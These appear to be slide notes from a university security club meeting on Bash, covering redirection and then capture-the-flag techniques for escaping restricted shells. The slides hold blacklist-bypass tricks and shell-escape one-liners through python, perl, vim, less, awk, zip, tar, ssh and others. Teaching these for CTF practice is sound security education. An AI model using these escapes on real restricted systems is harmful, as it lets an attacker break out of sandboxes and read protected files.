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What is Bash?



Bash Review

File System Navigation

- pwd: print working directory
- ls: list directory contents
- ls -la: list with hidden files and details
- cd <dir>: change directory
- cd ..: go up one level
- cd ~: go to home directory
- cat <file>: print file contents
- find / -name <file>: search for files by name



Very Powerful
the horrors of “rm -rf /”



...and actual vulnerabilities are possible!

- case and point: Shellshock
- bug in Bash that was present since 1989, announced in 2014
- (very brief explanation): works by using environment variables maliciously

- smaller examples of attacks
- command injection - if you don’t properly sanitize user input, an attacker 

can do bad things
- including reading arbitrary files, getting root on the box, etc.



Redirection



File Descriptors
- In Linux (/Unix), everything is a file
- Including the input/output of a command



File Descriptors
- Every shell command gets three file descriptors:

- 0: stdin
- 1: stdout
- 2: stderr

- Anything the command opens (using a syscall) gets an unused 
number
- 3: file.txt
- 4: flag.txt



File Descriptors



Redirection
- Bash lets you “redirect” data between file descriptors
- This is very powerful!



Redirection: Summary

- >: write stdout to file
- >>: append stdout to file
- <: read stdin from file
- 2>: redirect stderr
- 2>&1: merge stderr into stdout
- cmd1 | cmd2: pipe stdout of one command into the next
- ls | grep flag: practical example — filter output



Redirection: Simple Examples



How to use this?
- Sometimes words are blacklisted in stdout, but not stderr
- echo “hello” 1>&2
- Redirects fd 1 (stdout) to fd 2 (stderr)



Getting Past Blacklists



- ${PATH:0:1}bin${PATH:0:1}bash
- ${PWD}bin${PWD}sh (if you’re currently in /)

Forward Slash



Globbing
- “flag” is banned?

- cat /*.txt



Globbing
- “flag” is banned?

- cat /*.txt

- “*” is banned?
- cat /????.txt



Globbing
- “flag” is banned?

- cat /*.txt

- “*” is banned?
- cat /????.txt

- “?” is banned?
- cat /[f]lag.txt

- cat /[f-g]lag.txt



More Advanced: Brace Expansion



Programming Languages



Programming Language Escapes

- python -c 'import os; os.system("/bin/bash")'

- perl -e 'exec "/bin/bash";'

- ruby -e 'exec "/bin/bash"'

- php -r 'system("/bin/bash");'

- node -e 'require("child_process").spawn("/bin/bash", 

{stdio: [0, 1, 2]})'

- etc.



Many ways to bypass character blacklists

- php -a spawns an interactive php shell
- python spawns an interactive Python repl
- and so many more…



Text Editors



The Classic Example: Vim
- :!/bin/bash



Nano
- Can execute commands, grab output, and insert it into the file
- Harder to get interactive shells, but may be possible through 

custom spellcheck programs, etc.



Less
- !/bin/bash
- Note: Man pages use less!



Other Utils (GNU Coreutils, etc.)



Awk
- awk 'BEGIN {system("/bin/sh")}'



Tcl Shell (tclsh)
- tclsh

% exec /bin/bash -i <@stdin >@stdout 2>@stderr



Zip
- zip file.zip file -T --unzip-command="sh -c /bin/bash"
- file can be any file in the system…



Tar
- There are many options here!
- tar -cf file.tar file --checkpoint=1 

--checkpoint-action=exec=/bin/bash



SSH (!)
- You might be able to control bash before you even enter the jail
- ssh user@host "/bin/bash -i"

- Spawns an interactive shell
- ssh user@host -t "/bin/bash --noprofile"

- Don’t read some configuration files



Next Meetings
No general meetings until after spring break! Enjoy the rest of your 
week and enjoy your break!
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Meeting content can be found at 
sigpwny.com/meetings.


